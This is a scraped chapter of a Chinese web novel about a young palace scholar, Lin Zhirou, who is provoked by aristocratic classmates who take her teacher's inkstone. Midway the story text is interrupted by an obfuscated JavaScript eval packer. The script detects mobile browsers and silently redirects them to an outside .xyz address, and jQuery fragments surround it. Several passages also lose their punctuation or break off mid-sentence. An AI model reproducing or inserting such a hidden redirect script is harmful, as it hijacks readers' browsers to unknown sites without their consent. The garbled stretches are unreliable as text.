第 67 章 67(修) 挑衅

作品:《一日看尽长安花

    韩渡这时候被皇帝召去,时机未免有些太巧。


    蔺知柔的心微微一沉,随即感到自己想多了。


    毕竟这是在东宫,太子的地盘,无论是二皇子还是令狐湛,在东宫都是客,再怎么荒唐也不至于在这里向三皇子的侍读下手,大不了言语上挤兑一下,她避其锋芒也就是了。


    韩渡这样谨小慎微、如临大敌,倒是有点小题大做,不过受人关怀的滋味大抵是不错的。


    待韩渡离开,她拿起筷箸继续吃饭,低眉敛目,尽量不引起注意,然而树欲静而风不止,不远处有几道视线,时不时就要往她身上飘来。


    蔺知柔兀自吃饭,并不抬眼望二皇子那一群人,自然也没察觉他们在看她。


    “那小子生得倒是好相貌,”冯贵妃的娘家侄儿冯盎抚了抚下巴,带着点尖酸说道,“令狐兄,不知这小儿比他师父如何?”


    他这么问自然是存心搓火。当日太子和三皇子令他在含元殿上丢了丑,原先十拿九稳的状头也丢了,还被一个贫家子抢了风头,他对这东宫的一草一木都恨得牙痒痒,何况是三殿下的“新宠”。


    令狐湛和二皇子走得近,但看不上冯家人,他冷哼一声:“他们能成师徒自然是沆瀣一气,我看那姓蔺的就是大狐媚子教出来的小狐媚子,都是一样的狐媚,有什么好比的?”


    冯盎讨了个没趣,脸上有点挂不住,不过他在这小团体中身份最低,一向奉承着皇子表兄和令狐湛,到底是把气咽了下去。


    二皇子却是放下茶杯,悠悠地接口道:“十五郎,别这么说,那小儿确有些真本事,当日那篇赋的确作得极好。


    “虽说不曾及第,他的凤凰赋也没能入选集子,不过他的才名已是不胫而走,这几日只要一出宫便能听见街巷里闾谈论他呢。”


    他这话实在是夸大其词,蔺七郎因为皇帝的缘故黜榜,当日在场的臣工即便有爱才的,也不过感叹一番此子时运不济,不至于四处宣扬。


    但是不管这番话真不真,反正是立即戳中了另外两个少年的肺管子。


    冯盎在殿试时只作得半篇赋,后来礼部编撰文集,好歹事后让他将下半篇补全了,可文集流传出去后,他却成了全京师的笑柄。


    哪怕人家当面


    对他依旧礼让有加但目光里都藏着股幸灾乐祸的意味。


    而令狐湛从小就不是读书的料可他自视甚高自觉天资非凡只消下两分功夫那些“神童”统统不是他的对手——只不过他不屑于汲汲营营罢了。


    听出表兄话里话外对那小狐媚的赞赏之意他气不打一处来:“不过会些舞文弄墨的雕虫小技罢了有什么了不起!哼一会儿看我不给他点颜色瞧瞧!”


    二皇子忙沉下脸:“不可造次这是东宫。”


    令狐湛笑道:“表兄也太谨慎了不过是小惩大戒。”


    二皇子仍旧不松口:“切莫动那心思那小儿虽然出身贫贱但入了三弟的眼便是条狗也不能随意打杀否则置他颜面于何地?”


    令狐湛一哂:“表兄我岂是没分寸的人?表兄放心不会弄出人命来叫你难做的。”


    二皇子脸色越发严峻:“说了不成就是不成。”


    令狐湛敷衍地答应着心里却是有恃无恐暗暗耻笑二皇子庸懦。


    他是兰陵长公主独子生下他后不久长公主和驸马夫妇失和再也没有生出第二个孩子来长公主自然把这唯一的孩子宠上了天。


    她本人就是嚣张跋扈的性子养出的孩子变本加厉、青出于蓝。脾气比她还骄纵偏偏又没有她的聪明。


    二皇子苦口婆心地劝了一番令狐湛半点也没听进去一味地应是眼睛却一直盯着蔺知柔。


    就在这时忽然有个作蓬莱宫内侍装束的年轻人神色张皇地走入院中。


    二皇子一见来人神色一肃对同伴道:“是母妃殿中的宦官不知是何事。”


    他一行说一行起身。


    宦官走到近前


    二皇子一惊皱眉道:“这是怎么回事?晨间不是还好好的么?”


    宦官答道:“回殿下的话贵妃用了午膳小睡了片刻醒来便觉心悸。”


    “医官可来看过?”二皇子一边走一边道“我去同学士说一声便回宫。”


    他抱歉地对令狐湛道:“十五郎母妃旧疾犯了我要即刻回宫少陪。”


    令狐湛面上闪过欣喜:“表兄


    快回宫吧,我替你同学士告个假便是。


    二皇子仍旧亲自前去向学士告了假,这才领着那宦官回宫侍疾去了。


    那宦官急急忙忙跑来,弄出的动静不小,蔺知柔自然也注意到了,想来是宫中有什么事,她有些担心韩渡,转念一想,有太子在,应当不会有什么事,一颗心也就放了下来。


    用完午膳,馆生们在院中休息片刻,踱了几步,便回到堂中听讲。


    蔺知柔刚在书案前坐定,冯盎却在她身边坐了下来,还若无其事地招呼道:“蔺小郎君,你在家中排行几何?


    蔺知柔心头一凛,望了一眼远处的令狐湛,不知这两人葫芦里卖的是什么药,不过她还是作了个揖,客客气气答道:“小子在家中行七。


    “哦,冯盎眼珠子转了转,“那我就称你七郎了。


    蔺知柔道:“冯公子请便。


    冯盎又道:“令狐公子说话向来是那样,方才的事七郎莫要放在心上。


    正说着话,为他们讲课的学士到了。


    午后第一堂课是书艺,为他们授课的是崇文馆学士、太子洗马杨景通。


    杨学士系出名门,学养深厚,尤以行、草见长,他的一笔字在京师的名士中也是排得上号的,有着“情驰神纵、超逸优游


    第一堂课,自然要探探学生们的底。


    蔺知柔从书囊中取出砚台和墨锭,砚是柳云卿赠与她的风字砚。


    冯盎打眼一瞧,眼睛一亮,赞叹了一声:“好砚!


    蔺知柔淡淡道:“过奖。说罢低头认真研墨,不再与他说话。


    冯盎不由觑了觑眼,嘴角往下一撇。


    杨学士要求学生们各自写《千字文》的前二十句,以便考察每个人的功底。


    经史诗赋只要方法得当,短时间内突击也能卓有成效,书艺一道却是要下经年的**功夫方能有所小成的。


    先前神童举,还是以诗赋文章为主,书迹只需端正清楚就算合格了,因而蔺知柔于此一道是有所欠缺的。


    她提起笔,调整了一下呼吸,落笔于纸上:天地玄黄,宇宙洪荒……


    学生们凝神书写,一时堂中只有笔尖摩擦纸面,春蚕食叶般的“


    沙沙声。


    杨学士在书案间来回踱步,不时在某个学生身边驻足,背着手低着头,仔细地观察其运笔,随时品评点拨几句。


    崔、卢两位的书迹得到了他的褒扬,张十八郎年纪小腕力弱,不过也得到了几句勉励之语。


    杨学士转悠着,不觉来到了蔺知柔他们这边。


    冯盎觉察到师长的目光,心里一慌,手一抖,一竖歪歪扭扭。


    杨学士“啧了一声,摇摇头,什么评语也没留下,就去看旁边蔺知柔的字。


    蔺知柔丝毫不胆怯,横竖她的字就这样,好是谈不上的。


    不想杨学士看了半晌,却捋须颔首道:“笔法体势颇具风流之意,有逸气,惜乎格高而力弱,不过你年纪尚幼,假以数年之功,当能有所小成。


    杨学士对崔、卢两位也只是夸夸字态、笔画之类局部细节的优点,这样的评价已经非常高了。


    学生们不由都向她看过来,眼里流露出讶异,冯盎和令


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165117|180662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狐湛却是咬紧了牙关。


    蔺知柔刚好写完最后一个字,撂下笔,行了个礼:“学士谬赞。


    待所有人的书迹都看完,杨学士开始正式讲课,从汉代以来的书史开始,一直讲到书体、运笔、笔势、字态,蔺知柔从未听人如此系统地讲过书学,屡有茅塞顿开之感。


    一堂课结束,杨学士整理笔研和书帖出了讲堂,蔺知柔还沉浸在方才所学中,一时没回过神来。


    冯盎拍拍她胳膊:“七郎,你这枚砚台可否借愚兄一观?


    蔺知柔心里狐疑,但对方如此客气,她也不好拒绝,便点了点头。


    冯盎小心翼翼地接过来端详了一会儿:“若是我没看错,这似乎是汉砚的形制,一枚价直十数万金,贵重也罢了,有钱也难买到,不知七郎此砚得自何处?


    蔺知柔答道:“是长者所赐。


    话音刚落,只听一个声音道:“什么稀罕物事,也让我瞅瞅?


    蔺知柔一抬头,令狐湛不知什么时候走到了跟前。


    冯盎欣然道:“令狐兄府上藏了许多好砚,最是懂行,你来看看蔺公子这枚砚如何?


    他也不等主人发话,拿起那方砚台看了看,又摸了摸砚底,哂笑道:


    “巧了,这砚就是我长公主府出去的东西。大约是我阿娘随手拿来赏了什么墨客或者……倡优罢。”


    冯盎作吃惊状:“令狐兄想是弄错了,蔺公子方才说了,此砚是长者所赐。”


    “那不就对了?柳廷玠不正是倡优之流?”


    蔺知柔目光微冷,神色依然平静克制,但众人都感觉到了她压抑的怒气。


    恩师受辱,当弟子的若是忍气吞声,必会沦为笑柄,日后即便登第,也洗刷不去今日的耻辱。


    何况那句话真的越过了蔺知柔的底线,于她而言,柳云卿终究是不同的。


    “还请令狐公子慎言。”她淡淡道。


    “慎言?”令狐湛冷冷哼了一声,“就许他柳廷玠做,还不许旁人说了?”


    他们这里的动静已经吸引了其他馆生的注意,兰陵长公主是当今天子胞妹,地位超然,比起一般亲王还势大,等闲无人敢招惹长公主府的人。


    馆生们虽然不齿于令狐湛的飞扬跋扈,但也不敢直撄其锋,大多袖手旁观,张十八郎义愤填膺,刚想站出来,还没来得及出声,被四皇子一把拽住。


    “不可。”四皇子小声道。


    他对着书僮招招手,小声道:“你去请韦学士。”


    令狐湛漫不经心地把玩着那方砚台,从一手换到另一手,仿佛随时一个拿不稳就要砸了。


    蔺知柔道:“恳请令狐公子将此砚归还在下。”


    令狐湛眯了眯眼:“想拿回去么?也不是不行。我也不是蛮不讲理之人,若是你敢与我赛马,无论输赢,我都把这枚砚还给你,如若不然,我便……”


    他持砚的手忽然一松,然后一蹲,用另一只手灵巧地接住:“横竖是我府上出去的东西,砸了也就砸了。”


    蔺知柔盯着那方砚台,沉声道:“好。”


    令狐湛见蔺知柔一口答应,拊掌笑道:“甚好,那便随我回府罢。”


    蔺知柔作了个揖,不卑不亢道:“请恕小子不能从命,小子是三殿下侍读,未得三殿下首肯,无法擅离东宫……”


    不等她把话说完,令狐湛就瞪起了眼睛:“好个刁滑小儿,我道你是个爽利人,高看你一眼,不想临到头了又砌词推脱!”他眼耳口鼻均比常**一号,做起凶相来也更骇人一些。


    平常他只要摆出这张面孔,仆从们个个诚惶诚恐不知所措,但是眼前这个小儿却并未如他料想的那般噤若寒蝉、诚惶诚恐,一张雪白的小脸仍是波澜不兴,只是姿态更加谦卑:“令狐公子恕罪,小子职责所在,实难擅离职守。”